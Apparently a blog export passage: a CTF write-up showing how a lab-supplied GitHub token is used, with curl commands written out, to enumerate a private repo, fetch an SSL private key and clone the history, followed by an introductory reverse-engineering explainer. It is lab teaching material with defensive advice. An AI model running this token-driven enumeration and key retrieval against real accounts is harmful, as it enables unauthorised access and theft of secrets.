scope,但 repo 物件的 `permissions` 區塊會直接給出權限地圖,不需瞎猜。 - `allows_permissionless_access` 是 endpoint 屬性,非 token 權限,勿誤讀。 - 檔案優先序判斷: 問「此檔外流攻擊者能拿去幹嘛」,私鑰/憑證/寫死 secret 排最前;單一線索不夠,私鑰配 Dockerfile 才確定其用途。 - 私鑰進 git 等於作廢——舊版本永遠留在歷史,最早的 commit 最常藏 secret。 - SSL 私鑰外流可用於解密側錄的 HTTPS 流量,或偽裝伺服器發動 MITM。 ## 實用技巧 ```bash # 讀 GitHub 檔案內容取原始純文字(免 base64 解碼) curl -s -H "Authorization: Bearer $TOKEN" -H "Accept: application/vnd.github.raw" \ https://api.github.com/repos/[owner]/[repo]/contents/[path] # 定位 secret 是哪個 commit 引入的 git show [commit] # secret 掃描(push 前攔截誤入的憑證) gitleaks detect --source . trufflehog git file://. ``` ### GitHub Enumeration 101 Writeup (CyberWarFare Labs) URL: https://taiwanding.com/en/github-enumeration-101-writeup/ Last updated: 2026-08-10T11:10:11.000Z 📚 Series · CyberWarFare Labs · CI/CD Security 1. ▸ GitHub Enumeration 101 — full recon from a single PAT (this post) 2. [GCP CI/CD 01 — private repo to Cloud Run service name](https://taiwanding.com/en/gcp-ci-cd-01-private-github-repo-cloud-run-writeup/) # Challenge Info - Platform: CyberWarFare Labs (CWL) - Category: CI/CD Security / GitHub CI/CD - Difficulty: Easy (10 points) - What you're given: a single GitHub Personal Access Token This challenge doesn't actually ask you to do a full enumeration like I'm about to do here — all it wants is the SHA hash of the first commit. But walking through the whole thing end to end is genuinely worth it! So if you just want the answer, feel free to jump straight to Step 6. ## Walkthrough The challenge hands you a single token, and the goal is to use that one key to do credential-driven enumeration and figure out exactly what it can reach. ### Step 1: Identify the token type First, look at the token prefix: ``` github_pat_XXXXXXXXXXXXXXXXXXXXXXXX ``` A `github_pat_` prefix means it's a fine-grained PAT (not a classic `ghp_` token). The difference: a fine-grained PAT is bound to specific repos/permissions, and it doesn't spell out its scopes in the response headers — you have to infer its permissions empirically. ### Step 2: Confirm identity and that the token is alive ```bash TOKEN="[REDACTED_PAT]" curl -si -H "Authorization: Bearer $TOKEN" https://api.github.com/user ``` The key parts of the response: ``` HTTP/2 200 x-accepted-github-permissions: allows_permissionless_access=true "login": "secure-corp-devops-operator" "public_repos": 0 ``` The token is alive (200), its owner is `secure-corp-devops-operator`, and it has 0 public repos (all the value is on the private side). Note that `allows_permissionless_access=true` describes the `/user` endpoint itself — it means "no specific permission is required to access this endpoint" — it does not mean the token has unlimited permissions. ### Step 3: Enumerate the permission boundary ```bash curl -s -H "Authorization: Bearer $TOKEN" https://api.github.com/user/orgs curl -s -H "Authorization: Bearer $TOKEN" "https://api.github.com/user/repos?per_page=100&visibility=all" ``` `/user/orgs` returns an empty array (no orgs). `/user/repos` returns a single private repo — looking only at the key fields: ```json "full_name": "secure-corp-devops-operator/GitHub-Enumeration-101", "private": true, "permissions": { "admin": true, "maintain": true, "push": true, "triage": true, "pull": true } ``` The `permissions` block is handed to us directly by the API: this token has admin rights over that repo. ### Step 4: Take inventory of the repo's files ```bash curl -s -H "Authorization: Bearer $TOKEN" \ https://api.github.com/repos/secure-corp-devops-operator/GitHub-Enumeration-101/contents/ ``` The most suspicious items in the listing are `infinity.key` (an SSL private key) and `infinity.crt` (a certificate), followed by the `Dockerfile`. The ranking criterion: how valuable each file would be to an attacker if it leaked. ### Step 5: Read the files and cross-verify Use `Accept: application/vnd.github.raw` to pull the raw plaintext (skipping the default base64 decoding): ```bash curl -s -H "Authorization: Bearer $TOKEN" -H "Accept: application/vnd.github.raw" \ https://api.github.com/repos/secure-corp-devops-operator/GitHub-Enumeration-101/contents/infinity.key ``` `infinity.key` is a complete, usable RSA private key (`-----BEGIN RSA PRIVATE KEY-----` … `-----END-----`). Then read the `Dockerfile` to cross-check what it's used for: ```dockerfile RUN apt install apache2 ... COPY infinity.key /etc/ssl/private/ RUN a2enmod ssl ENV PORT 443 ``` This confirms that `infinity.key` is the SSL private key of an actual production HTTPS server. ### Step 6: Dig through the commit history for the first commit The challenge asks: What is the hash of the very first commit made into the repository? The files currently in the repo are just the surface — the commit history is where it's at. Old versions live forever, so after cloning, use `--reverse` to bring the oldest commit to the top: ```bash git clone https://$TOKEN@github.com/secure-corp-devops-operator/GitHub-Enumeration-101.git cd GitHub-Enumeration-101 git log --oneline --reverse ``` ``` f224060 Initial Commit <- the first commit 89e6955 Added webserver config a678f0c Added TLS certificates ... ``` `--oneline` only shows the 7-character abbreviation. To get the full 40-character hash, cross-reference against the API's commit list (by default the API returns newest-to-oldest, so the first commit sits at the very bottom): ```bash curl -s -H "Authorization: Bearer $TOKEN" \ "https://api.github.com/repos/secure-corp-devops-operator/GitHub-Enumeration-101/commits?per_page=100" | grep '"sha"' ``` Both approaches cross-verify to the same commit. Flag: ``` f224060XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX ``` ## Key Takeaways - The rhythm of credential-driven enumeration: first confirm identity and that the token is alive (`/user`), then work from the outside in to narrow the scope (owner → org → repo → permissions), where each step's answer decides the next one. - A fine-grained PAT doesn't expose its scopes in the headers, but the repo object's `permissions` block hands you the permission map directly — no guessing required. - `allows_permissionless_access` is a property of the endpoint, not of the token's permissions — don't misread it. - Prioritizing files: ask "if this file leaked, what could an attacker do with it?" Private keys, certificates, and hardcoded secrets go to the top. A single clue isn't enough — pairing the private key with the Dockerfile is what pins down its purpose. - A private key committed to git is effectively burned — old versions stay in the history forever, and the earliest commit is the one most likely to hide a secret. - A leaked SSL private key can be used to decrypt captured HTTPS traffic, or to impersonate the server and mount a MITM attack. ## Handy Tricks ```bash # Read GitHub file contents as raw plaintext (skip the base64 decode) curl -s -H "Authorization: Bearer $TOKEN" -H "Accept: application/vnd.github.raw" \ https://api.github.com/repos/[owner]/[repo]/contents/[path] # Pinpoint which commit introduced a secret git show [commit] # Secret scanning (catch credentials before they get pushed) gitleaks detect --source . trufflehog git file://. ``` ### What Is Reverse Engineering Actually Reversing? — For Programmers Who've Never Touched Assembly URL: https://taiwanding.com/en/reverse-engineering-explained-for-programmers/ Last updated: 2026-08-10T11:09:59.000Z > This is the **concepts** installment of my reverse engineering series — concepts only, almost no assembly. The next one is the methods installment. Assumed reader: you can program (variables, functions and loops are enough), but you have never touched a disassembler, Ghidra, or assembly language. By the end you will know *what reversing actually is* and *why all those tools exist*, so that the methods post doesn't scare you off with assembly. --- ## Let's answer the question nobody bothered to explain You've probably read plenty of reverse engineering articles full of hex, registers, and `mov` `ldr` `cmp`. They look like hieroglyphics, and there's a question in the back of your mind nobody ever answers: **What are these people actually doing? What are they "reversing"?** Here's the one-sentence answer up front; the rest of this post is just unpacking it: > **The source code you wrote gets "flattened" when it's compiled, and a lot of stuff is thrown away in the process. Reverse engineering is taking that flattened product and putting back as much of what was thrown away as you can.** --- ## Hold on — what is this skill actually good for? Before the theory, here's a reason to keep reading. Reversing isn't just something they do in hacker movies; it solves one particular class of problem: **you have a program, you don't have its source code, and you need to know what it does.** Real-world scenarios: - **Security research / vulnerability hunting** — the vendor won't hand you the source, but you still have to find where they got it wrong - **Malware analysis** — you caught a suspicious file; what is it stealing, and where is it phoning home? - **Software compatibility and maintenance** — the company has a fifteen-year-old system, the author left, the docs are gone, the source is gone, and the thing is still running - **Checking what you actually bought** — is that app quietly shipping your data somewhere in the background? - **CTFs and security competitions** — reversing is a permanent fixture as a challenge category - **Pure curiosity** — how did they pull that feature off? **The common thread is the "black box". Reversing is the technique for prying it open.** --- ## Something you do every day without noticing You write code like this: ```c int check_password(char *user_input) { char *correct = "hunter2"; if (strcmp(user_input, correct) == 0) { return 1; } return 0; } ``` (There's a reason I'm using C: **C compiles down to machine code the CPU executes directly**, which demonstrates this post's point best. Languages like Python and JavaScript work rather differently — they have their own arrangements, and we'll leave them aside for now.) You hit compile, and the computer hands you an executable. **Question: is the name `check_password` still in that executable? Is the variable name `correct`?** The answer: **it depends — and the two names don't even share the same fate.** A function-local variable name like `correct` usually **isn't there** in an ordinary **release build without debug information**. `check_password`, on the other hand, **might still be around** (sitting in the symbol table), or it might have been removed later in the build. But the important part isn't "is it there or not" — it's this: **when the CPU executes the program, it doesn't rely on those names at all.** They're entirely optional as far as execution is concerned, and that is precisely why they *can* be thrown away. **They were never for the computer. They were for you.** --- ## In the computer's world there are no "names" This is the bedrock of the whole subject, so let me take it slowly. When you write code you use names: `user_input`, `check_password`, `correct`. Those names let **you** understand what the program is doing. But the CPU doesn't need names. The CPU only recognises three kinds of thing: 1. **Locations** — "go fetch whatever is in slot number 5000" 2. **Registers** — the handful of small drawers the CPU keeps at arm's length for numbers it's working on 3. **Actions** — "add these two numbers", "if they're equal, jump to slot 3000" **Notice there are no names in that list.** As far as the CPU is concerned, `check_password` isn't a name; it's "that run of instructions starting at slot 4384". The variable `correct` is in a slightly more interesting position. `correct` itself is a **signpost** (it records *where* the text lives), while `"hunter2"` — **the text itself** — sits somewhere else entirely. After compilation the signpost might live in one of the CPU's little drawers, might live in some scratch area, or the compiler might notice "we don't actually need this signpost at all" and drop it. **The text, meanwhile, typically ends up in an area dedicated to storing fixed data.** That distinction may look like a fine detail right now, but it matters — **later, when we talk about "why tools can dredge strings out of a binary", that area is exactly what they're dredging.** So what compilation does is fundamentally **translation**: ``` What you wrote (for humans) After compiling (for the CPU) ────────────────────────────────────────────────────────────── check_password → the instructions at 0x1120 user_input → a value in a register correct (the signpost) → a value in a register or a scratch slot — or dropped entirely if the compiler decides it isn't needed "hunter2" (the text itself) → usually a read-only data area if a == b → "compare, then jump" ``` Once the translation is done, **those names are useless**. The CPU runs perfectly well on locations and registers; the names can be dumped wholesale. **Let me clear up a common misconception here: compiling and "removing names" are not the same thing.** After compilation the CPU no longer needs the names — but the names **don't necessarily vanish immediately**. Plenty of build pipelines keep symbols around (for the linker, for the debugger), so the executable you end up with may still carry some of them. **`strip` is one common way of removing that information** (the name means exactly what it sounds like) — it clears out symbols and debug information that aren't needed at runtime, making the file smaller. But it isn't the only reason names disappear: **depending on build settings, the compiler and linker may never have preserved certain names in the first place.** So a name can meet several fates: **it may never have been written into the file at all**, **it may survive in the symbol table or debug information**, or **it may be removed at link time or by `strip`**. "Does it have debug info?", "has it been stripped?", "is this a release or a debug build?" — **these are related but distinct questions**. Don't collapse them into one. The habit worth building is: when you get a file, look at what's actually left in it, rather than assuming what should be left in it. --- ## An analogy to nail this down Picture a recipe. Compiling = tearing off the labels, keeping the exact locations Same recipe: the human version has meaning, the machine version has only coordinates Source code (for humans) Take the “main ingredient” (chicken breast), 200 g ← the label tells you what it is Add “marinade A” (soy sauce, sugar, rice wine) ← the parentheses are for humans Rest for 30 minutes You understand what it does compile rip off labels Executable (for the CPU) Take 200 g from cabinet 3, slot 2 Exact location, unknown contents Add jar 5 (???) No way to see what's in the jar Rest for 30 minutes You can follow it without understanding it Key: with the labels gone, the information isn't fuzzy — it's exact but meaningless Reversing = taking the right-hand version and inferring every “what is it” from the actions and their order Figure 1: Compiling is like tearing every label off a recipe — the locations remain, the meaning is gone. What's the difference between **the original (the human-readable version)** and **the version with the labels torn off**? Let's go step by step. **The source-code version of the recipe** reads like this: > "Take 200 g of the 'main ingredient' (chicken breast), add 'marinade A' (soy sauce, sugar, rice wine), and let it rest for 30 minutes." The parenthetical bits, plus **labels** like "main ingredient" and "marinade A", exist so the reader can understand what's going on. **The compiled recipe** has had every label torn off, and now reads: > "Take 200 g from cabinet 3, slot 2, add jar 5, and let it rest for 30 minutes." **You can still follow it** (the locations, quantities and order are all precisely there), but you have no idea what's in cabinet 3 slot 2, or what's been mixed into jar 5. **Note the point of the analogy**: after the labels come off, the remaining information hasn't become vague — it has become **precise but meaningless**. The machine needs "where to go get it"; the human needs "what it is". Compilation throws away exactly the latter. **That is what a compiled program is**: every action is present, it runs fine, and every label that would help you understand it has been ripped off. And **reverse engineering is taking that label-less recipe and working out, from the actions and their order, what each "that thing" actually is.** - See "let it rest for 30 minutes" → guess this step is marinating - See "the colour turns brown after adding jar 5" → guess jar 5 is soy sauce - Step by step, stick the torn-off labels back on **That's all reversing is.** Everything else is detail. --- ## So what "labels" does compilation actually throw away? Not just names. The "flattening" that compilation performs discards things at four levels, from shallow to deep: The four layers compilation throws away The deeper you go, the harder to rebuild; the bottom layer can never be uniquely recovered ① Names userPassword → a slot on the stack checkPassword → an address rename them yourself ② Types Is this run of bytes an integer? Text? An address? Machine code doesn't say infer from usage ③ Structure if / while / for / switch → mostly become “compare + conditional jump” rebuild from the jumps ④ Intent Comments, naming taste, the reasons behind “why design it this way” never uniquely recoverable rebuild difficulty Reversing = rebuild ①②③, then use them to infer ④ One piece of machine code can map to several original sources and motives; the product alone can't tell them apart Figure 2: The four layers compilation throws away. Tools mainly help with ①②③; ④ is forever a human's job. Let me map each layer onto your programming experience, one at a time: ### Layer 1: names (the easiest to grasp) `check_password` → gone, now an address. `user_input` → gone, now a value in a register. **What you do when reversing**: give every nameless thing a name of your own. In your tool you'll rename "that chunk at 0x1120" to `check_password`, because you've worked out what it does. ### Layer 2: types (the most counter-intuitive layer) You write `int age = 25;` and you know it's an integer. You write `float price = 25.0;` and you know it's a float. **The compiler knows too, because you told it. But after compilation, that information isn't written into the executable.** Why not? Because the CPU doesn't need it. The CPU only needs to know whether to "do integer addition on these 4 bytes" or "do floating-point addition" — and **that information lives in the *instructions*, not in the *data***. Let's get concrete. Say you find these 4 bytes in an executable: ``` 68 65 20 66 ``` **What is it?** At least four possibilities: - An integer - A floating-point number - An "address that points somewhere else" - **Four characters** (`h`, `e`, space, `f`) One run of bytes, four possible identities Machine code carries no type information — you infer it from how the bytes get used 68 65 20 66 4 bytes, that's all An integer if it's used in addition → supports the guess A float if it's used in FP math → supports the guess An address if used to “fetch from there” → supports the guess Four characters h e ␣ f easiest to spot by eye Why does “go look for strings” work so often? Because text is the one identity you can recognise at a glance A run of consecutive printable bytes jumps out when a human skims it — that's exactly how strings works Types aren't read off, they're inferred — and inference “supports”, it doesn't “prove” Figure 3: The multiple identities of one run of bytes. Types are discarded at compile time and can only be inferred from usage. **From those 4 bytes alone, you can't tell.** They're just four numbers. **So what do you do? You look at how they're used.** If the program feeds those 4 bytes into an "addition" → that **supports** the hypothesis that it's a number. If the program uses it to "compare character by character against another chunk" → that **supports** "it's text". If the program uses it "as an address and fetches something from there" → that **supports** "it's an address". Note the word: "supports", not "proves". The same chunk of data being used in several places, or treated as several different things, genuinely happens. **Almost every judgement in reversing is "the most plausible explanation so far", not hard proof.** > **This is one of the core moves in reversing: types aren't read off, they're inferred.** **First, the good news**: text (strings) is **the easiest identity to recognise** of the lot, because a run of consecutive bytes that all happen to fall in the "printable characters" range simply looks like a sentence — a human glancing at `Please enter your password` knows instantly it isn't random numbers. **That's why there are tools dedicated to finding exactly those fragments** (`strings`, which we'll get to), and why "go look for strings" is so often the opening move in reversing. While we're here, let me be clear about what that tool actually does, so you don't imagine it's magic: **it scans the file and prints out any fragment where several consecutive bytes happen to fall in the printable range**. It doesn't understand file formats, and it doesn't care whether those bytes were originally a string — so it will miss text that's been split up or encoded, and it will dredge up piles of noise that merely happens to look like text. **It's a very crude but very cheap sieve.** **The hard part is the other types**: are these 4 bytes an integer, a float, or an address? Is this pile of bytes an array, or a struct with several fields? **No tool can tell you with certainty; you can only infer from "how it gets used".** ### Layer 3: structure (your if and while are gone) The `if`, `while`, `for` and `switch` you wrote all **turn into the same thing** after compilation: "compare, then jump". ``` What you wrote After compiling ────────────────────────────────────────────────────────────── if (x > 5) {...} → compare x with 5; if not greater, skip below while (x < 10) {...} → compare x with 10; if less, jump back up ``` **See it? In the common, not-heavily-optimised form, `if` and `while` both frequently become "compare + conditional jump"** — the difference is which way the jump goes. **But jump direction on its own is not a reliable rule** — compilers do loop rotation, move the test to the bottom, and reorder blocks, so the direction of a jump may not match the structure your intuition expects. It's a clue, not a law. **And even that is only the most common form, not the only one.** If a `switch` has many branches the compiler may switch to a "jump table" (look up where to jump), which looks nothing like a chain of comparisons; a very short `if` may be replaced by a "don't jump, just pick one of two values" instruction. The harder you crank up optimisation, the more variation you'll see. **What you do when reversing**: rebuild what the original control flow looked like from the actual jump relationships. ### Layer 4: intent (this one never comes back) Your comments, the good names you chose, the reasons in your head for "why design it this way" — after compilation these **cannot be uniquely recovered**. The same machine code can correspond to several different original implementations and motives, and you can't tell them apart from the product alone. **This layer is where reversing gets genuinely hard, and where machines can't help you.** Tools can get you seventy or eighty percent of the way on the first three layers, but "why is this code written this way, what was the author thinking" comes down to your own experience and reasoning. --- ## So here's the definition of reverse engineering Putting all of the above together: > **Compilation is a "lossy compression" process — it squashes the source code you wrote, full of names and structure, into a pile of machine code that only has locations and actions, throwing away names, types, structure and intent along the way.** > > **Reverse engineering is rebuilding as much of "what was thrown away" as possible from "what's still there", in the absence of the source code.** "Lossy compression" is a very precise term. Just like JPEG shrinks a photo by discarding some detail, and blowing it back up never restores the original quality — compilation is the same. **What you reverse out will never be identical to the original source** (you chose the names, you rebuilt the structure). And the more honest way to put it is: **what you build is a model that "adequately explains the behaviour you've observed"**, not a copy of the source. That model may fail under conditions you haven't observed yet — which is why a reversing conclusion should always come with the caveat "as far as I've seen so far". --- ## So why is there anything "left behind" to work with? You might ask: if compilation throws away all the names, isn't reversing hopeless from the start? **Here's the key — not everything *can* be thrown away.** There's an iron rule: > **Anything that "has to be supplied from outside when the program runs" leaves clues that are hard to scrub away** — because if you scrubbed them, nobody would know where to go get it. A few examples: **If the program was packaged the usual "dynamically linked" way, the names of the functions it asks external libraries for often stick around.** For instance: your program wants to "compare two strings", so it uses an off-the-shelf function called `strcmp`. That function's code isn't in your executable — it's in a shared system library — so **when the program runs, something has to find `strcmp` for it**. The component responsible (the loader) needs the name in order to find it, so that name usually survives. **That makes "which capabilities the program asks the outside world for" a very handy checklist**, and it leaks a huge amount of information: - Asks for `strcmp` / `strncmp` (string comparison) → **first suspect**: there's a comparison here; it may be validating something - Asks for crypto-related functionality → **first suspect**: there's encryption, and a secret may be hidden - Asks for network-related functionality → **first suspect**: it goes online; go see where it connects - Asks for anti-debugging functionality → **first suspect**: it's defending itself against analysis **From that list alone, without reading a single line of code, you can already guess roughly what the program does** — the highest return-on-investment move in all of reversing. **But mind its limits** — the list only covers capabilities the program "asks the outside for at runtime". Some things never show up on it: - The program **bakes the functionality straight into itself** (this is called static linking) - The compiler **inlines small functions directly into the code** - The program **reimplements it itself** rather than borrowing from the system - The program **only borrows it on the fly at runtime** So the correct framing is: **this list is "a starting point for forming hypotheses", not "a complete inventory of capabilities".** See `strcmp` and boldly assume there's string comparison; but **not seeing any crypto functions doesn't let you conclude there's no encryption**. That sense of proportion matters, and later posts will keep coming back to it. --- ## Why does "looking for strings" work so often? If you've dabbled in reversing, or watched someone else do it, you'll have noticed a common first step: **run a tool called `strings` to find runs of printable bytes within whatever it scans.** Why does this work so often? Because **plenty of secrets are just plaintext strings**, and strings (unlike names) **often do stay in the program**, because the program needs them at runtime (displaying messages, comparing passwords, connection URLs). So "run strings and look for text" isn't laziness — **it's the highest-ROI first step**, and you should try it first. But it fails in three situations, and understanding those three failures is exactly what shows you the difficulty ladder of reversing: strings is a very crude, but very cheap, sieve It only finds “runs of printable bytes”; it doesn't understand file formats What's in the file Plaintext strings Chopped-up strings Encrypted data Raw numbers / code strings consecutive printable bytes? no format awareness ignores original type Caught ✓ Plaintext strings, plus noise that looks like text Missed ✗ Chopped up (you get half a sentence) Encrypted / encoded (a pile of garbage) Secrets that were never strings Every kind of “miss” is telling you to switch viewpoint: Half a sentence → read the code, pick up the tail A pile of garbage → read how it decrypts Nothing at all → the secret may be the algorithm itself; rebuild the whole logic Figure 4: What strings can and can't do. It's the first move in reversing, and the first rung on the difficulty ladder. **① The string has been chopped up and hidden** — sometimes the compiler or the author splits a string into several pieces, and `strings` only catches one of them. You end up with half a sentence. **At this point you're forced down a level**: go look at the program's actual instructions and put the fragments back together. **② The string is encrypted** — the secret isn't sitting there in plaintext; it's encrypted and hidden, and only decrypted at runtime. `strings` catches nothing but garbage, and **now you have more work to do**: understand how it decrypts, then run that decryption yourself. **③ The secret isn't a string at all** — sometimes the secret is an *algorithm*, for example "how to decide whether a serial number is valid". There's no string to catch; the secret lives in the computation. **Here you have to rebuild that algorithm in full.** This is the hardest rung, and where real reversing skill lives. > **So "all I can do is run strings" isn't a lack of ability — it just means you haven't yet hit a challenge that forces you up the ladder.** And knowing "what those higher rungs are" is the map this post is trying to hand you. --- ## Why are there so many tools? (the one-line version) `strings`, `objdump`, `Ghidra`, `radare2`, `gdb`… why so many? It makes your head spin when you're starting out. **Because they answer different questions.** The moment you classify them by "what question does this tool answer", the confusion evaporates. Here's the coarsest split; details are saved for the methods post: **"What does this program declare or ask the outside world for?"** — use symbol and metadata inspectors like `nm` and `readelf`. **Loads of intelligence without reading a single line of code**, so do this first. **"Is there anything in the file that looks like text?"** — use `strings`. Note how it differs from the previous category: **it doesn't understand file formats, it just sweeps through looking for runs of printable bytes**. Crude, but dirt cheap. **"What are the actual instructions in this chunk of code?"** — use a *disassembler* (like `objdump`), which translates that pile of ones and zeros into CPU instructions. **This is the layer closest to the raw evidence** (the truly 100%-interpretation-free thing is the bytes themselves, but humans can't read those), the toughest to read, and also the hardest to be misled by. **"What does this logic say in plain language?"** — use a *decompiler* (like `Ghidra`), which takes those rigid instructions and **reconstructs something resembling C as best it can**. Far easier to read — but note that "as best it can" means it's guessing, and **sometimes it guesses wrong**. **"What does this program actually do when it runs?"** — use *dynamic analysis* tools (like `gdb` or Frida). The previous three are all "don't run it, just look"; this one is "actually run it and intercept and observe along the way". One very important trade-off principle to keep in mind: > **The more primitive the tool, the more trustworthy (but harder to read); the higher-level the tool, the easier to read (but the more it can lie to you).** > > So the veteran's approach is: use the high-level tool (Ghidra) to grasp the big picture quickly, and whenever something reads strangely, **go back to the low-level tool (objdump) to verify** — because the lower the level, the less guesswork has been added. --- ## One diagram to sum it up: what reversing is ``` You write source code names, types, structure, intent │ │ compile (lossy compression — labels torn off) ▼ Executable only locations, actions, and "whatever clues survive" │ │ reverse (use surviving clues to infer what was thrown away) ▼ Your reconstructed names you chose, types you inferred, understanding structure you rebuilt (enough to explain the observed behaviour, but not necessarily equivalent to the original source) ``` **Reversing isn't magic, it's archaeology.** You're looking at a finished product with its labels torn off, and from the clues that remain (the actions, their order, the capabilities borrowed from the system, the strings nobody bothered to hide) you piece the original meaning back together, fragment by fragment. --- ## The mindset you should have now If you've never touched reversing before, what you should take away from this post is **not a single tool command**, but these three ideas: 1. **Compilation throws things away; reversing is picking them back up.** Names, types and structure are gone, but the functionality is still there. 2. **Some things are hard to throw away, and those are your clues** — the list of capabilities borrowed from the system, plaintext strings, the order of the program's actions — but remember they're a "starting point", not "the whole picture". 3. **There are no better or worse tools, only division of labour.** Read the list, read the instructions, read the plain-language version, watch it run — each answers a different question. With those three ideas, any "reversing article full of hex and `mov`" will stop looking like hieroglyphics — you'll know the author **is just sticking the torn-off labels back on**. --- ## Next up: the methods post With this conceptual foundation in place, the methods post will have you actually touch assembly for the first time. You'll see with your own eyes: - What a "variable" really looks like down at the bottom (globals, parameters, locals, constants — four completely different things) - Why `strings` sometimes only gets you "half a sentence" (with a real example) - How to choose between `objdump`, `radare2` and `Ghidra`, and when to reach for which - A repeatable "opening routine for analysing an unfamiliar binary" By then you'll find that, thanks to this groundwork, all that assembly doesn't look the least bit frightening. --- *These are my introductory notes on reverse engineering, written for people who want to get started but were scared off by assembly. Corrections welcome.* ### 逆向工程到底在逆什麼?—— 寫給會寫程式、但沒碰過組語的你 URL: https://taiwanding.com/ni-xiang-gong-cheng-dao-di-zai-ni-shi-mo-xie-gei-hui-xie-cheng-shi-dan-mei-peng-guo-zu-yu-de-ni/ Last updated: 2026-08-10T11:10:00.000Z > 這是逆向系列的**觀念篇**,只講觀念,幾乎不出現組語,下一篇是方法篇,讀者設定:你會寫程式(懂變數、函式、迴圈就夠),但從來沒碰過反組譯、Ghidra、組合語言,讀完你會知道「逆向在幹嘛、為什麼需要那一堆工具」,之後看方法篇才不會被組語嚇跑。 --- ## 先回答那個沒好好解釋的問題 你可能看過很多逆向的文章,裡面都是一堆十六進位、暫存器、`mov` `ldr` `cmp`,看起來像天書,然後你心裡有個問題一直沒被回答: **這些人到底在幹嘛?他們在「逆」什麼?** 我用一句話先給你答案,這一篇剩下的部分都是在把這句話講清楚: > **你寫的原始碼,在編譯的時候被「壓扁」了,壓扁的過程丟掉了很多東西,逆向,就是拿著那個被壓扁的成品,把丟掉的東西盡量還原回來。** --- ## 等一下,這技能到底能幹嘛? 在講原理之前,先給你讀下去的理由,逆向不是只有駭客電影裡才用得到,它解決的是同一類問題:**你手上有一個程式,但沒有它的原始碼,而你需要知道它在幹嘛。** 實際的場景: - **資安研究/漏洞挖掘** —— 廠商不會給你原始碼,但你要找出它哪裡寫錯了 - **惡意程式分析** —— 抓到一個可疑檔案,它到底在偷什麼、連去哪裡? - **軟體相容與維護** —— 公司有個十五年前的系統,寫的人跑了、文件沒了、原始碼不見了,但它還在跑 - **確認你買的東西在幹嘛** —— 那個 App 是不是在背景偷傳你的資料? - **CTF 與資安競賽** —— 逆向是固定出現的大題型 - **純粹的好奇** —— 這個功能是怎麼做到的? **共通點都是「黑箱」,逆向就是把黑箱打開的技術。** --- ## 一個你每天都在做、但沒意識到的事 你寫這樣一段程式: ```c int check_password(char *user_input) { char *correct = "hunter2"; if (strcmp(user_input, correct) == 0) { return 1; } return 0; } ``` (用 C 舉例是有原因的:**C 會被編譯成 CPU 直接執行的機器碼**,最能示範這篇要講的事,Python、JavaScript 這類語言的運作方式不太一樣,它們有自己的一套,我們先不管。) 你按下編譯,電腦給你一個執行檔。 **問你一個問題:那個執行檔裡,還找得到 `check_password` 這個名字嗎?找得到 `correct` 這個變數名嗎?** 答案是:**不一定,而且這兩個名字的命運還不一樣。** `correct` 這種函式內部的變數名,在**不含除錯資訊的一般 release 版本**裡通常**找不到**,`check_password` 則**可能還在**(留在符號表裡),也可能在後續處理中被移除。 但真正重要的不是「在不在」,而是這件事:**CPU 執行的時候,完全不靠這些名字**,它們對程式的運作是可有可無的 —— 這才是為什麼它們「可以」被丟掉。 **它們從來就不是給電腦看的,它們是給你看的。** --- ## 電腦眼中的世界,沒有「名字」 這是整個逆向的地基,我慢慢講。 你寫程式的時候用名字:`user_input`、`check_password`、`correct`,這些名字讓**你**能理解程式在幹嘛。 但 CPU 不需要名字,CPU 只認得三種東西: 1. **位置** —— 「去第 5000 號格子拿東西」 2. **暫存器** —— CPU 手邊的幾個小抽屜,用來暫放正在處理的數字 3. **動作** —— 「把這兩個數字相加」「如果相等就跳到第 3000 號格子」 **注意這裡面沒有「名字」**,對 CPU 來說,`check_password` 不是一個名字,是「從第 4384 號格子開始的那一段指令」。 至於 `correct` 這個變數,它的處境更有趣一點:`correct` 本身是一個**指路標**(它記著「那串文字放在哪」),而 `"hunter2"` 這串**文字本身**被放在另一個地方,編譯後,指路標可能存在 CPU 的小抽屜裡、可能存在某個暫存區、甚至可能被編譯器發現「根本不需要這個指路標」而直接省掉;**而那串文字,通常會被放進一塊專門存放固定資料的區域**。 這個區別現在看起來很細,但它很重要 —— **後面我們講「為什麼用工具撈得到字串」,撈到的就是那塊區域裡的東西。** 所以編譯做的事,本質上是**翻譯**: ``` 你寫的(給人看) 編譯後(給 CPU 看) ───────────────────────────────────────── check_password → 位置 0x1120 的那段指令 user_input → 暫存器裡的一個值 correct(指路標本身) → 暫存器或暫存區裡的一個值, 也可能被編譯器發現不需要而省掉 "hunter2"(文字本身) → 通常放進一塊唯讀資料區 if a == b → 「比較,然後跳」 ``` 翻譯完之後,**那些名字就沒用了**,CPU 靠位置和暫存器就能跑,名字可以整包丟掉。 **這裡要澄清一個常見的誤會:編譯和「移除名字」不是同一件事。** 編譯之後,CPU 已經不需要那些名字了 —— 但名字**未必立刻消失**,很多建置流程會把符號留著(給連結器用、給除錯器用),所以你拿到的執行檔可能還帶著一部分名字。 **`strip` 是移除這些資訊的常見方式之一**(剝除的意思)—— 它會清除執行時不需要的符號與除錯資訊,讓檔案更小。但不是只有它會讓名字消失:**編譯器和連結器也可能依照建置設定,一開始就不保留某些名稱。** 所以一個名字的命運有好幾種:**可能從一開始就沒被寫進檔案**、**可能保留在符號表或除錯資訊裡**、**也可能在連結或 `strip` 的時候被移除**。 「有沒有除錯資訊」「有沒有 strip」「是 release 還是 debug」——**這是相關但不同的幾件事**,不要混成一件。你真正該養成的習慣是:拿到檔案先看它現在還剩下什麼,而不是假設它應該剩下什麼。 --- ## 用一個比喻把這件事鎖死 想像一本食譜。 編譯=把「標籤」撕掉,只留「精確的位置」 同一份食譜,人看的版本有語意,機器跑的版本只有座標 原始碼(給人看) 取「主要食材」 (雞胸肉)200 克 ← 標籤告訴你「那是什麼」 加入「醃料 A」 (醬油、糖、米酒) ← 括號裡是給人的說明 靜置 30 分鐘 看得懂在幹嘛 編譯 撕標籤 執行檔(給 CPU 看) 取 3 號櫃第 2 格 的 200 克 位置精確,但不知道是什麼 加入 5 號罐 (???) 罐裡調了什麼,看不到 靜置 30 分鐘 照做得出來,卻不懂在幹嘛 關鍵:撕掉標籤後,資訊不是變模糊,是「變精確但沒有意義」 逆向=拿著右邊這本,靠動作和順序,把每個「那是什麼」反推回去 圖解 1:編譯就像把食譜的標籤全部撕掉 —— 位置還在,意義沒了。 **原文(給人看的版本)**和**撕掉標籤的版本**差在哪?我們一步步看。 **原始碼版本的食譜**長這樣: > 「取『主要食材』(雞胸肉)200 克,加入『醃料 A』(醬油、糖、米酒),靜置 30 分鐘。」 括號裡的東西、還有「主要食材」「醃料 A」這種**標籤**,是給讀的人理解用的。 